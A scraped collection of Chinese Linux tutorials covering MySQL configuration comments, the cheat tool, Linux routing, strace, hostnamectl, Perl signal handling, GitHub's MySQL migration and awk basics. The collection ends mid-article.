# 记录慢速查询。慢速查询是指消耗了比 “long_query_time” 定义的更多时间的查询。如果 log_long_format 被打开,那些没有使用索引的查询也会被记录。如果你经常增加新查询到已有的系统内的话。一般来说这是一个好主意。

log_slow_queries

# 所有的使用了比这个时间(以秒为单位)更多的查询会被认为是慢速查询。不要在这里使用”1″,否则会导致所有的查询,甚至非常快的查询页被记录下来(由于MySQL 目前时间的精确度只能达到秒的级别)。

long_query_time = 6

# 在慢速日志中记录更多的信息。一般此项最好打开。打开此项会记录使得那些没有使用索引的查询也被作为到慢速查询附加到慢速日志里。

log_long_format

# 此目录被MySQL用来保存临时文件。例如,它被用来处理基于磁盘的大型排序,和内部排序一样。以及简单的临时表。如果你不创建非常大的临时文件,将其放置到 swapfs/tmpfs 文件系统上也许比较好。另一种选择是你也可以将其放置在独立的磁盘上。你可以使用”;”来放置多个路径。他们会按照roud-robin方法被轮询使用。#tmpdir = /tmp

# *** 主从复制相关的设置

# 唯一的服务辨识号,数值位于 1 到 2^32-1之间。此值在master和slave上都需要设置。如果 “master-host” 没有被设置,则默认为1,但是如果忽略此选项,MySQL不会作为master生效。

server-id = 1

# 复制的Slave (去掉master段的注释来使其生效)

# 为了配置此主机作为复制的slave服务器,你可以选择两种方法:

# 1) 使用 CHANGE MASTER TO 命令 (在我们的手册中有完整描述) –

# 语法如下:

# CHANGE MASTER TO MASTER_HOST=, MASTER_PORT=,MASTER_USER=, MASTER_PASSWORD= ;

# 例子:

# CHANGE MASTER TO MASTER_HOST=’125.564.12.1′, MASTER_PORT=3306,MASTER_USER=’joe’, MASTER_PASSWORD=’secret’;

# 或者

# 2) 设置以下的变量。不论如何, 在你选择这种方法的情况下,然后第一次启动复制(甚至不成功的情况下,例如如果你输入错密码在master-password字段并且slave无法连接),slave会创建一个 master.info 文件,并且之后任何对于包含在此文件内的参数的变化都会被忽略,并且由 master.info 文件内的内容覆盖,除非你关闭slave服务,删除 master.info 并且重启slave 服务。

# 由于这个原因,你也许不想碰一下的配置(注释掉的) 并且使用 CHANGE MASTER TO (查看上面) 来代替

# 所需要的唯一id号位于 2 和 2^32 – 1之间(并且和master不同)。如果master-host被设置了,则默认值是2。但是如果省略,则不会生效。

#server-id = 2

# 复制结构中的master – 必须

#master-host =

# 当连接到master上时slave所用来认证的用户名 – 必须

#master-user =

# 当连接到master上时slave所用来认证的密码 – 必须

#master-password =

# master监听的端口。可选 – 默认是3306

#master-port =

# 使得slave只读。只有用户拥有SUPER权限和在上面的slave线程能够修改数据。你可以使用此项去保证没有应用程序会意外的修改slave而不是master上的数据。

#read_only

来源:http://www.ha97.com/4110.html

Linux:从命令行访问Linux命令小抄

Linux命令行的强大在于其灵活及多样化,各个Linux命令都带有它自己专属的命令行选项和参数。混合并匹配这些命令,甚至还可以通过管道和重定向来联结不同的命令。理论上讲,你可以借助几个基本的命令来产生数以百计的使用案例。甚至对于浸淫多年的管理员而言,也难以完全使用它们。那正是命令行小抄成为我们救命稻草的一刻。

Linux:从命令行访问Linux命令小抄
Linux:从命令行访问Linux命令小抄

我知道联机手册页(man)仍然是我们的良师益友,但我们想通过我们能自行支配的快速参考卡让这一切更为高效和有目的性。最终极的小抄可能被自豪地挂在你的办公室里,也可能作为PDF文件隐秘地存储在你的硬盘上,或者甚至设置成了你的桌面背景图。

做为一个选择,也可以通过另外一个命令来访问你最爱的命令行小抄。那就是,使用cheat。这是一个命令行工具,它可以让你从命令行读取、创建或更新小抄。这个想法很简单,不过cheat经证明是十分有用的。本教程主要介绍Linux下cheat命令的使用方法。你不需要为cheat命令做个小抄了,它真的很简单。

安装Cheat到Linux

首先,如果你还没有Git,那么就安装一个吧:

$ sudo apt-get install git (Debian-based system)
$ sudo yum install git (RedHat-based system)

同时,安装Python包安装器pip

最后,使用下列命令来安装cheat。

$ sudo pip install docopt pygments
$ git clone https://github.com/chrisallenlane/cheat.git
$ cd cheat
$ sudo python setup.py install

配置Cheat

cheat命令并不需要太多配置。

一个推荐的配置是启用命令行补全功能。那样,当你查询一个小抄时,就可以使用[TAB]键来自动补全你想要查看的命令名称了。以下操作可以启用bash下的自动补全功能。

$ wget https://github.com/chrisallenlane/cheat/raw/master/cheat/autocompletion/cheat.bash
$ sudo cp cheat.bash /etc/bash_completion.d/

他们也提供了用于其它shell的自动补全脚本,像zsh和fish也有。

另外一个要做的事是定义EDITOR环境变量。该变量应该指向创建或更新小抄时你想要用的文本编辑器。例如,如果你想要使用Vim编辑器,那就把下面的内容放进~/.bashrc。

export EDITOR=/usr/bin/vim

注销并重新登录进来,以激活自动补全功能并更新.bashrc。

Cheat基本用法

cheat命令一个很酷的事是,它自带有超过90个的常用Linux命令的内建小抄。查看可用的小抄列表:

$ cheat -l
Linux:从命令行访问Linux命令小抄
Linux:从命令行访问Linux命令小抄

要访问某个指定命令的小抄,只要运行cheat命令,后面跟上该命令的名称:

$ cheat 
Linux:从命令行访问Linux命令小抄
Linux:从命令行访问Linux命令小抄

你可以通过使用“-s”选项,在所有小抄中搜索包含有指定关键词的内容:

$ cheat -s 

在许多情况下,小抄适用于某些人,而对另外一些人却没什么帮助。要想让内建的小抄更具个性化,cheat命令也允许你创建新的小抄,或者更新现存的那些。要这么做的话,cheat命令也会帮你在本地~/.cheat目录中保存一份小抄的副本。

要使用cheat的编辑功能,首先确保EDITOR环境变量设置为你默认编辑器所在位置的完整路径。然后,复制(不可编辑)内建小抄到~/.cheat目录。你可以通过下面的命令找到内建小抄所在的位置。一旦你找到了它们的位置,只不过是将它们拷贝到~/.cheat目录。

$ cheat -d

/usr/lib/python2.6/site-packages/cheat/cheatsheets

$ cp /usr/lib/python2.6/site-packages/cheat/cheatsheets/* ~/.cheat

现在,你可以使用“-e”选项来创建或更新一个小抄了:

$ cheat -e openssl

正如你所能想象的,cheat的编辑功能十分有用,可以帮助你剪裁本地小抄库以满足你的需要。如果你深信知识分享,贡献你的小抄到cheat命令的官方Git仓库中,你会更加受欢迎,这样大家都能从中受益。


via: http://xmodulo.com/2014/07/access-linux-command-cheat-sheets-command-line.html

作者:Dan Nanni 译者:GOLinux 校对:wxy

本文由 LCTT 原创翻译,Linux中国 荣誉推出

来源:https://linux.cn/article-3926-1.html

Linux:使用linux系统(PC机)做路由转发

1、网络拓扑

  网络拓扑如下所示,我们在这里用到了三台机子做实验,分别是①、④、⑦号机,使用①号机ping⑦号机,④号机作为路由转发。

  

Linux:使用linux系统(PC机)做路由转发
Linux:使用linux系统(PC机)做路由转发

 

2、错误的路由配置

  首先我们使用如下的配置方法,配置这三台机子的路由表:

  1)在①号机种配置如下,让目的网段是10.0.4.0/24的从eth1端口出去

route  add -net 10.0.4.0/24 dev eth1

  在①号机的查看路由表输入如下命令:

route -n

  ①号机的路由表的结果如下:

   2)在⑦号机使用同样方法配置路由,结果如下:

   3)在4号机配置路由转发功能,即将/etc/sysctl.conf文件里面的net.ipv4.ip_forward的值置1:

   4)所有的配置已经完成,我们在①号机ping④号机


ping  10.0.4.3

   结果如下,即ping 不通:

PING 10.0.4.3 (10.0.4.3) 56(84) bytes of data.
From 10.0.1.3 icmp_seq=2 Destination Host Unreachable
From 10.0.1.3 icmp_seq=3 Destination Host Unreachable
From 10.0.1.3 icmp_seq=4 Destination Host Unreachable
From 10.0.1.3 icmp_seq=6 Destination Host Unreachable
From 10.0.1.3 icmp_seq=7 Destination Host Unreachable
From 10.0.1.3 icmp_seq=8 Destination Host Unreachable

  这里为了方便研究,把①号机的eth1配置放出来

eth1      Link encap:Ethernet  HWaddr 00:16:EC:AF:CB:CB
          inet addr:10.0.1.3  Bcast:10.255.255.255  Mask:255.255.255.0
          inet6 addr: fe80::216:ecff:feaf:cbcb/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:4564 errors:0 dropped:0 overruns:0 frame:0
          TX packets:6688 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:459463 (448.6 KiB)  TX bytes:546633 (533.8 KiB)
          Interrupt:23 Base address:0x6000

  在①号机ping 的同时,我在④号机抓eth1包,结果如下:

[root@h4~]# tcpdump -i eth1 -enn
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth1, link-type EN10MB (Ethernet), capture size 65535 bytes
15:26:44.388614 00:16:ec:af:cb:cb > ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Request who-has 10.0.4.3 tell 10.0.1.3, length 46
15:26:45.391014 00:16:ec:af:cb:cb > ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Request who-has 10.0.4.3 tell 10.0.1.3, length 46
15:26:47.387821 00:16:ec:af:cb:cb > ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Request who-has 10.0.4.3 tell 10.0.1.3, length 46
15:26:48.391220 00:16:ec:af:cb:cb > ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Request who-has 10.0.4.3 tell 10.0.1.3, length 46
15:26:49.392621 00:16:ec:af:cb:cb > ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Request who-has 10.0.4.3 tell 10.0.1.3, length 46

   可见①号一直在寻找配有10.0.4.3 IP的机子的mac地址,即一直在发arp包。但是路由器(④号机)默认是不转发arp报文的,所有①号机永远也ping不通⑦号机。

 

3、正确的配置

  在①号机种配置路由,命令如下:

route add -net 10.0.4.0/24 gw 10.0.1.2

  这时候①号机的路由表:

[root@h1 ~]#
[root@h1 ~]# route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
10.0.4.0        10.0.1.2        255.255.255.0   UG    0      0        0 eth1
10.0.5.0        0.0.0.0         255.255.255.0   U     0      0        0 eth2
10.0.1.0        0.0.0.0         255.255.255.0   U     0      0        0 eth1
192.168.99.0    0.0.0.0         255.255.255.0   U     1      0        0 eth0
0.0.0.0         192.168.99.1    0.0.0.0         UG    0      0        0 eth0

  同样的方法配置⑦号机的路由表

root@h7:~# route -n
内核 IP 路由表
目标            网关            子网掩码        标志  跃点   引用  使用 接口
0.0.0.0         192.168.99.1    0.0.0.0         UG    0      0        0 eth0
10.0.1.0        10.0.4.2        255.255.255.0   UG    0      0        0 eth1
10.0.4.0        0.0.0.0         255.255.255.0   U     1      0        0 eth1
10.0.7.0        0.0.0.0         255.255.255.0   U     1      0        0 eth2
192.168.99.0    0.0.0.0         255.255.255.0   U     1      0        0 eth0

  下面再进行ping测试,在①号机ping⑦号机,结果能够ping通。在这里我们问了方便分析,首先列出各网卡的MAC地址

①号机 eth1:HWaddr 00:16:EC:AF:CB:CB
④号机 eth1:HWaddr 40:61:86:32:8F:0B
④号机 eth4:HWaddr 40:61:86:32:8F:0E
⑦号机 eth1:HWaddr 00:25:90:93:40:79

  ④号机eth1抓包如下:

[root@h4 ~]# tcpdump -i eth1 -enn
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth1, link-type EN10MB (Ethernet), capture size 65535 bytes
16:02:26.809445 00:16:ec:af:cb:cb > 40:61:86:32:8f:0b, ethertype IPv4 (0x0800), length 98: 10.0.1.3 > 10.0.4.3: ICMP echo request, id 8079, seq 1, length 64
16:02:26.810723 40:61:86:32:8f:0b > 00:16:ec:af:cb:cb, ethertype IPv4 (0x0800), length 98: 10.0.4.3 > 10.0.1.3: ICMP echo reply, id 8079, seq 1, length 64
16:02:27.811847 00:16:ec:af:cb:cb > 40:61:86:32:8f:0b, ethertype IPv4 (0x0800), length 98: 10.0.1.3 > 10.0.4.3: ICMP echo request, id 8079, seq 2, length 64
16:02:27.813136 40:61:86:32:8f:0b > 00:16:ec:af:cb:cb, ethertype IPv4 (0x0800), length 98: 10.0.4.3 > 10.0.1.3: ICMP echo reply, id 8079, seq 2, length 64
16:02:28.813248 00:16:ec:af:cb:cb > 40:61:86:32:8f:0b, ethertype IPv4 (0x0800), length 98: 10.0.1.3 > 10.0.4.3: ICMP echo request, id 8079, seq 3, length 64
16:02:28.814551 40:61:86:32:8f:0b > 00:16:ec:af:cb:cb, ethertype IPv4 (0x0800), length 98: 10.0.4.3 > 10.0.1.3: ICMP echo reply, id 8079, seq 3, length 64
16:02:29.814648 00:16:ec:af:cb:cb > 40:61:86:32:8f:0b, ethertype IPv4 (0x0800), length 98: 10.0.1.3 > 10.0.4.3: ICMP echo request, id 8079, seq 4, length 64

  ④号机eth4抓包如下:

root@h4 ~]# tcpdump -i eth4 -enn
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth4, link-type EN10MB (Ethernet), capture size 65535 bytes
16:02:26.809460 40:61:86:32:8f:0e > 00:25:90:93:40:79, ethertype IPv4 (0x0800), length 98: 10.0.1.3 > 10.0.4.3: ICMP echo request, id 8079, seq 1, length 64
16:02:26.810715 00:25:90:93:40:79 > 40:61:86:32:8f:0e, ethertype IPv4 (0x0800), length 98: 10.0.4.3 > 10.0.1.3: ICMP echo reply, id 8079, seq 1, length 64
16:02:27.811853 40:61:86:32:8f:0e > 00:25:90:93:40:79, ethertype IPv4 (0x0800), length 98: 10.0.1.3 > 10.0.4.3: ICMP echo request, id 8079, seq 2, length 64
16:02:27.813130 00:25:90:93:40:79 > 40:61:86:32:8f:0e, ethertype IPv4 (0x0800), length 98: 10.0.4.3 > 10.0.1.3: ICMP echo reply, id 8079, seq 2, length 64
16:02:28.813255 40:61:86:32:8f:0e > 00:25:90:93:40:79, ethertype IPv4 (0x0800), length 98: 10.0.1.3 > 10.0.4.3: ICMP echo request, id 8079, seq 3, length 64
16:02:28.814545 00:25:90:93:40:79 > 40:61:86:32:8f:0e, ethertype IPv4 (0x0800), length 98: 10.0.4.3 > 10.0.1.3: ICMP echo reply, id 8079, seq 3, length 64

  ⑦号机eth1抓包如下:

root@h7:~# tcpdump -i eth1 -enn
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth1, link-type EN10MB (Ethernet), capture size 65535 bytes
16:02:27.222853 40:61:86:32:8f:0e > 00:25:90:93:40:79, ethertype IPv4 (0x0800), length 98: 10.0.1.3 > 10.0.4.3: ICMP echo request, id 8079, seq 1, length 64
16:02:27.222867 00:25:90:93:40:79 > 40:61:86:32:8f:0e, ethertype IPv4 (0x0800), length 98: 10.0.4.3 > 10.0.1.3: ICMP echo reply, id 8079, seq 1, length 64
16:02:28.225226 40:61:86:32:8f:0e > 00:25:90:93:40:79, ethertype IPv4 (0x0800), length 98: 10.0.1.3 > 10.0.4.3: ICMP echo request, id 8079, seq 2, length 64
16:02:28.225237 00:25:90:93:40:79 > 40:61:86:32:8f:0e, ethertype IPv4 (0x0800), length 98: 10.0.4.3 > 10.0.1.3: ICMP echo reply, id 8079, seq 2, length 64
16:02:29.226638 40:61:86:32:8f:0e > 00:25:90:93:40:79, ethertype IPv4 (0x0800), length 98: 10.0.1.3 > 10.0.4.3: ICMP echo request, id 8079, seq 3, length 64
16:02:29.226649 00:25:90:93:40:79 > 40:61:86:32:8f:0e, ethertype IPv4 (0x0800), length 98: 10.0.4.3 > 10.0.1.3: ICMP echo reply, id 8079, seq 3, length 64
16:02:30.228059 40:61:86:32:8f:0e > 00:25:90:93:40:79, ethertype IPv4 (0x0800), length 98: 10.0.1.3 > 10.0.4.3: ICMP echo request, id 8079, seq 4, length 64

 

  从抓取的包中我们不难看出,①号机在ping ⑦号机时,由于其中路由表配置了通过四号机的eth1(10.0.1.2)地址,这个地址对应的mac①号机已经缓存了,所有没有进行arp广播就直接开 始发送ICMP包,并且目的ip是⑦号机,目的MAC是④号机的eth1的,之后在④号机路由中又将目的MAC变成了④号机的eth4的,目的ip不变, 回来的过程相仿。

 

4、结论

  由 于linux路由器默认不转发arp报文到,所有若像”错误的配置“那样配置路由,①号机一直处在询问目的MAC的阶段而无法让路由器④号机转发数据包, 所有我们可以通过”正确的配置“那样配置路由让①号机使用④号机eth1的MAC出去,然后再一步一步转发。或者通过”错误的配置“那样配置路由,然后在 ④号机中使用arp代理,从而让①号机获得⑦号机的MAC,从而从发送arp报文阶段到发送ICMP包阶段。

Linux:使用 Linux 的 strace 命令跟踪/调试程序的常用选项

在调试的时候,strace能帮助你追踪到一个程序所执行的系统调用。当你想知道程序和操作系统如何交互的时候,这是极其方便的,比如你想知道执行了哪些系统调用,并且以何种顺序执行。

这个简单而又强大的工具几乎在所有的Linux操作系统上可用,并且可被用来调试大量的程序。

命令用法

让我们看看strace命令如何追踪一个程序的执行情况。

最简单的形式,strace后面可以跟任何命令。它将列出许许多多的系统调用。一开始,我们并不能理解所有的输出,但是如果你正在寻找一些特殊的东西,那么你应该能从输出中发现它。

让我们来看看简单命令ls的系统调用跟踪情况。

raghu@raghu-Linoxide ~ $ strace ls
Linux:使用 Linux 的 strace 命令跟踪/调试程序的常用选项
Linux:使用 Linux 的 strace 命令跟踪/调试程序的常用选项

这是strace命令输出的前几行。其他输出被截去了。

Strace write system call (ls)

上面的输出部分展示了write系统调用,它把当前目录的列表输出到标准输出。

下面的图片展示了使用ls命令列出的目录内容(没有使用strace)。

raghu@raghu-Linoxide ~ $ ls

ls command output

选项1 寻找被程序读取的配置文件

Strace 的用法之一(除了调试某些问题以外)是你能找到被一个程序读取的配置文件。例如,

raghu@raghu-Linoxide ~ $ strace php 2>&1 | grep php.ini

Strace config file read by program

选项2 跟踪指定的系统调用

strace命令的-e选项仅仅被用来展示特定的系统调用(例如,open,write等等)

让我们跟踪一下cat命令的‘open’系统调用。

raghu@raghu-Linoxide ~ $ strace -e open cat dead.letter

Stracing specific system call (open here)

选项3 跟踪进程

strace不但能用在命令上,而且通过使用-p选项能用在运行的进程上。

raghu@raghu-Linoxide ~ $ sudo strace -p 1846

Strace a process

选项4 strace的统计概要

它包括系统调用的概要,执行时间,错误等等。使用-c选项能够以一种整洁的方式展示:

raghu@raghu-Linoxide ~ $ strace -c ls
Linux:使用 Linux 的 strace 命令跟踪/调试程序的常用选项
Linux:使用 Linux 的 strace 命令跟踪/调试程序的常用选项

选项5 保存输出结果

通过使用-o选项可以把strace命令的输出结果保存到一个文件中。

raghu@raghu-Linoxide ~ $ sudo strace -o process_strace -p 3229

Strace a process

之所以以sudo来运行上面的命令,是为了防止用户ID与所查看进程的所有者ID不匹配的情况。

选项6 显示时间戳

使用-t选项,可以在每行的输出之前添加时间戳。

raghu@raghu-Linoxide ~ $ strace -t ls
Linux:使用 Linux 的 strace 命令跟踪/调试程序的常用选项
Linux:使用 Linux 的 strace 命令跟踪/调试程序的常用选项

选项7 更精细的时间戳

-tt选项可以展示微秒级别的时间戳。

raghu@raghu-Linoxide ~ $ strace -tt ls

Time - Microseconds

-ttt也可以向上面那样展示微秒级的时间戳,但是它并不是打印当前时间,而是显示自从epoch(译注:1970年1月1日00:00:00 UTC)以来的所经过的秒数。

raghu@raghu-Linoxide ~ $ strace -ttt ls

Seconds since epoch

选项8 相对时间

-r选项展示系统调用之间的相对时间戳。

raghu@raghu-Linoxide ~ $ strace -r ls

Relative Timestamp


via: http://linoxide.com/linux-command/linux-strace-command-examples/

作者:Raghu 译者:guodongxiaren 校对:wxy

本文由 LCTT 原创翻译,Linux中国 荣誉推出

来源:https://linux.cn/article-3935-1.html

Linux:Linux有问必答:如何在CentOS或RHEL 7上修改主机名

问题:在CentOS/RHEL 7上修改主机名的正确方法是什么(永久或临时)?

在CentOS或RHEL中,有三种定义的主机名:a、静态的(static),b、瞬态的(transient),以及 c、灵活的(pretty)。“静态”主机名也称为内核主机名,是系统在启动时从/etc/hostname自动初始化的主机名。“瞬态”主机名是在系统运行时临时分配的主机名,例如,通过DHCP或mDNS服务器分配。静态主机名和瞬态主机名都遵从作为互联网域名同样的字符限制规则。而另一方面,“灵活”主机名则允许使用自由形式(包括特殊/空白字符)的主机名,以展示给终端用户(如Dan’s Computer)。

Linux:Linux有问必答:如何在CentOS或RHEL 7上修改主机名
Linux:Linux有问必答:如何在CentOS或RHEL 7上修改主机名

在CentOS/RHEL 7中,有个叫hostnamectl的命令行工具,它允许你查看或修改与主机名相关的配置。

要查看主机名相关的设置:

$ hostnamectl status
Linux:Linux有问必答:如何在CentOS或RHEL 7上修改主机名
Linux:Linux有问必答:如何在CentOS或RHEL 7上修改主机名

只查看静态、瞬态或灵活主机名,分别使用“–static”,“–transient”或“–pretty”选项。

 $ hostnamectl status [--static|--transient|--pretty]

要同时修改所有三个主机名:静态、瞬态和灵活主机名:

$ sudo hostnamectl set-hostname 

就像上面展示的那样,在修改静态/瞬态主机名时,任何特殊字符或空白字符会被移除,而提供的参数中的任何大写字母会自动转化为小写。一旦修改了静态主机名,/etc/hostname 将被自动更新。然而,/etc/hosts 不会更新以保存所做的修改,所以你需要手动更新/etc/hosts。

如果你只想修改特定的主机名(静态,瞬态或灵活),你可以使用“–static”,“–transient”或“–pretty”选项。

例如,要永久修改主机名,你可以修改静态主机名:

 $ sudo hostnamectl --static set-hostname 

注意,你不必重启机器以激活永久主机名修改。上面的命令会立即修改内核主机名。注销并重新登入后在命令行提示来观察新的静态主机名。


via: http://ask.xmodulo.com/change-hostname-centos-rhel-7.html

译者:GOLinux 校对:Caroline

本文由 LCTT 原创翻译,Linux中国 荣誉推出

来源:https://linux.cn/article-3937-1.html

Linux:Linux 有问必答:如何在Perl中捕捉并处理信号

提问: 我需要通过使用Perl的自定义信号处理程序来处理一个中断信号。在一般情况下,我怎么在Perl程序中捕获并处理各种信号(如INT,TERM)?

作为POSIX标准的异步通知机制,信号由操作系统发送给进程某个事件来通知它。当产生信号时,操作系统会中断目标程序的执行,并且该信号被发送到该程序的信号处理函数。可以定义和注册自己的信号处理程序或使用默认的信号处理程序。

Linux:Linux 有问必答:如何在Perl中捕捉并处理信号
Linux:Linux 有问必答:如何在Perl中捕捉并处理信号

在Perl中,信号可以被捕获,并由一个全局的%SIG哈希变量指定处理函数。这个%SIG哈希变量的键名是信号值,键值是对应的信号处理程序的引用。因此,如果你想为特定的信号定义自己的信号处理程序,你可以直接在%SIG中设置信号的哈希值。

下面是一个代码段来处理使用自定义信号处理程序中断(INT)和终止(TERM)的信号。

$SIG{INT}  = &signal_handler;
$SIG{TERM} = &signal_handler;
sub signal_handler {
    print "This is a custom signal handlern";
    die "Caught a signal $!";
}

%SIG其他的可用的键值有’IGNORE’和’DEFAULT’。当所指定的键值是’IGNORE’(例如,$SIG{CHLD}=’IGNORE’)时,相应的信号将被忽略。指定’DEFAULT’的键值(例如,$SIG{HUP}=’DEFAULT’),意味着我们将使用一个(系统)默认的信号处理程序。


via: http://ask.xmodulo.com/catch-handle-interrupt-signal-perl.html

译者:geekpi 校对:wxy

本文由 LCTT 原创翻译,Linux中国 荣誉推出

来源:https://linux.cn/article-3938-1.html

Linux:GitHub 是如何迁移 MySQL 集群的

在 GitHub 我们总是说“如果网站响应速度不够快,我们就不应该让它上线运营”。我们之前在前端的体验速度这篇文章中介绍了一些提高网站响应速率的方法,但这只是故事的一部分。真正影响到 GitHub.com 性能的因素是 MySQL 数据库架构。让我们来瞧瞧我们的基础架构团队是如何无缝升级了 MySQL 架构吧,这事儿发生在去年8月份,成果就是大大提高了 GitHub 网站的速度。

Linux:GitHub 是如何迁移 MySQL 集群的
Linux:GitHub 是如何迁移 MySQL 集群的

任务

去年我们把 GitHub 上的大部分数据移到了新的数据中心,这个中心有世界顶级的硬件资源和网络平台。自从使用了 MySQL 作为我们的后端系统的基础,我们一直期望着一些改进来大大提高数据库性能,但是在数据中心使用全新的硬件来部署一套全新的集群环境并不是一件简单的工作,所以我们制定了一套计划和测试工作,以便数据能平滑过渡到新环境。

准备工作

像我们这种关于架构上的巨大改变,在执行的每一步都需要收集数据指标。新机器上安装好了基本的操作系统,接下来就是测试新配置下的各种性能。为了模拟真实的工作负载环境,我们使用 tcpdump 工具从旧的集群那里复制正在发生的 SELECT 请求,并在新集群上重新回放一遍。

MySQL 调优是个繁琐的细致活,像众所周知的 innodbbufferpoolsize 这个参数往往能对 MySQL 性能产生巨大的影响。对于这类参数,我们必须考虑在内,所以我们列了一份参数清单,包括 innodbthreadconcurrency,innodbiocapacity,和 innodbbufferpoolinstances,还有其它的。

在每次测试中,我们都很小心地只改变一个参数,并且让一次测试至少运行12小时。我们会观察响应时间的变化曲线,每秒的响应次数,以及有可能会导致并发性降低的参数。我们使用 “SHOW ENGINE INNODB STATUS” 命令打印 InnoDB 性能信息,特别观察了 “SEMAPHORES” 一节的内容,它为我们提供了工作负载的状态信息。

当我们在设置参数后对运行结果感到满意,然后就开始将我们最大的数据表格之一迁移到一套独立的集群上,这个步骤作为整个迁移过程的早期测试,以保证我们的核心集群有更多的缓存池空间,并且为故障切换和存储功能提供更强的灵活性。这步初始迁移方案也引入了一个有趣的挑战:我们必须维持多条客户连接,并且要将这些连接指向到正确的集群上。

除了硬件性能的提升,还需要补充一点,我们同时也对处理进程和拓扑结构进行了改进:我们添加了延时拷贝技术,更快、更高频地备份数据,以及更多的读拷贝空间。这些功能已经准备上线。

列出任务清单,三思后行

每天有上百万用户的使用 GitHub.com,我们不可能有机会等没有人用了才进行实际数据切换。我们有一个详细的任务清单来执行迁移:

Linux:GitHub 是如何迁移 MySQL 集群的
Linux:GitHub 是如何迁移 MySQL 集群的

我们还规划了一个维护期,并且在我们的博客中通知了大家,让用户注意到这件事情。

迁移时间到

太平洋时间星期六上午5点,我们的迁移团队上线集合对话,同时数据迁移正式开始:

Linux:GitHub 是如何迁移 MySQL 集群的
Linux:GitHub 是如何迁移 MySQL 集群的

我们将 GitHub 网站设置为维护模式,并在 Twitter 上发表声明,然后开始按上述任务清单的步骤开始工作:

Linux:GitHub 是如何迁移 MySQL 集群的
Linux:GitHub 是如何迁移 MySQL 集群的

13 分钟后,我们确保新的集群能正常工作:

然后我们让 GitHub.com 脱离维护模式,并且让全世界的用户都知道我们的最新状态:

Linux:GitHub 是如何迁移 MySQL 集群的
Linux:GitHub 是如何迁移 MySQL 集群的

大量前期的测试工作与准备工作,让我们将维护期缩到最短。

检验最终的成果

在接下来的几周时间里,我们密切监视着 GitHub.com 的性能和响应时间。我们发现迁移后网站的平均加载时间减少一半,并且在99%的时间里,能减少三分之二

Linux:GitHub 是如何迁移 MySQL 集群的
Linux:GitHub 是如何迁移 MySQL 集群的

我们学到了什么

功能划分

在迁移过程中,我们采用了一个比较好的方法是:将大的数据表(主要记录了一些历史数据)先迁移过去,空出旧集群的磁盘空间和缓存池空间。这一步给我们留下了更多的资源用于“热”数据,将一些连接请求分离到多套集群里面。这步为我们之后的胜利奠定了基础,我们以后还会使用这种模式来进行迁移工作。

测试测试测试

为你的应用做验收测试和回归测试,越多越好,多多益善,不要嫌多。从老集群复制数据到新集群的过程中,如果进行验收测试和响应状态测试,得到的数据是不准的,如果数据不理想,这是正常的,不要惊讶,不要试图拿这些数据去分析原因。

合作的力量

对基础架构进行大的改变,通常需要涉及到很多人,我们要像一个团队一样为共同的目标而合作。我们的团队成员来自全球各地。

团队成员地图:

Linux:GitHub 是如何迁移 MySQL 集群的
Linux:GitHub 是如何迁移 MySQL 集群的

本次合作新创了一种工作流程:我们提交更改(pull request),获取实时反馈,查看修改了错误的 commit —— 全程没有电话交流或面对面的会议。当所有东西都可以通过 URL 提供信息,不同区域的人群之间的交流和反馈会变得非常简单。

一年后……

整整一年时间过去了,我们很高兴地宣布这次数据迁移是很成功的 —— MySQL 性能和可靠性一直处于我们期望的状态。另外,新的集群还能让我们进一步去升级,提供更好的可靠性和响应时间。我将继续记录这些优化过程。


via: https://github.com/blog/1880-making-mysql-better-at-github

作者:samlambert 译者:bazz2 校对:wxy

本文由 LCTT 原创翻译,Linux中国 荣誉推出

来源:https://linux.cn/article-3941-1.html

Linux:如何在Linux中使用awk命令

文本处理是Unix的核心。从管道到/proc子系统,“一切都是文件”的理念贯穿于操作系统和所有基于它构造的工具。正因为如此,轻松地处理文本是一个期望成为Linux系统管理员甚至是资深用户的最重要的技能之一,而 awk是通用编程语言之外最强大的文本处理工具之一。

最简单的awk的任务是从标准输入中选择字段;如果你对awk除了这个用途之外,从来没了解过它的其他用途,你会发现它还是会是你身边一个非常有用的工具。

默认情况下,awk通过空格分隔输入。如果您想选择输入的第一个字段,你只需要告诉awk输出$ 1:

$ echo 'one two three four' | awk '{print $1}'

one

(是的,大括号语法是有点古怪,但我保证这是我们这节课一直会遇到。)

你能猜出如何选择第二,第三或第四个字段么?是的,分别用$2,$ 3,$ 4。

$ echo 'one two three four' | awk '{print $3}'

three

通常在文本改写时,你需要创建一个特定的数据格式,并且它覆盖不止一个单词。好消息是,awk中可以很容易地打印多个字段,甚至包含静态字符串:

 $ echo 'one two three four' | awk '{print $3,$1}'

three one


$ echo 'one two three four' | awk '{print "foo:",$3,"| bar:",$1}'

foo: three | bar: one

好吧,如果你的输入不是由空格分隔怎么办?只需用awk中的’-F’标志指定你的分隔符:

$ echo 'one mississippi,two mississippi,three mississippi,four mississippi' | awk -F , '{print $4}'

four mississippi

偶尔间,你会发现自己正在处理字段数量不同的数据,但你只知道你想要的最后字段。 awk中内置的$NF变量代表字段的数量,这样你就可以用它来抓取最后一个元素:

$ echo 'one two three four' | awk '{print $NF}'

four

你也可以用$NF做简单的数学,假如你需要倒数第二个字段:

$ echo 'one two three four' | awk '{print $(NF-1)}'

three

甚至是中间的字段:

$ echo 'one two three four' | awk '{print $((NF/2)+1)}'

three

而且这一切都非常有用,同样你可以摆脱强制使用sed,cut,和grep来得到这些结果(尽管要做更多的操作)。

因此,我将最后为你介绍awk的一个特性,维持跨行状态。

 $ echo -e 'one 1ntwo 2' | awk '{print $2}'

1

2

$ echo -e 'one 1ntwo 2' | awk '{sum+=$2} END {print sum}'

3

(END代表的是我们在执行完每行的处理之后只处理下面的代码块)

这里我使用的例子是统计web服务器请求日志的字节大小。想象一下我们有如下这样的日志:

$ cat requests.log

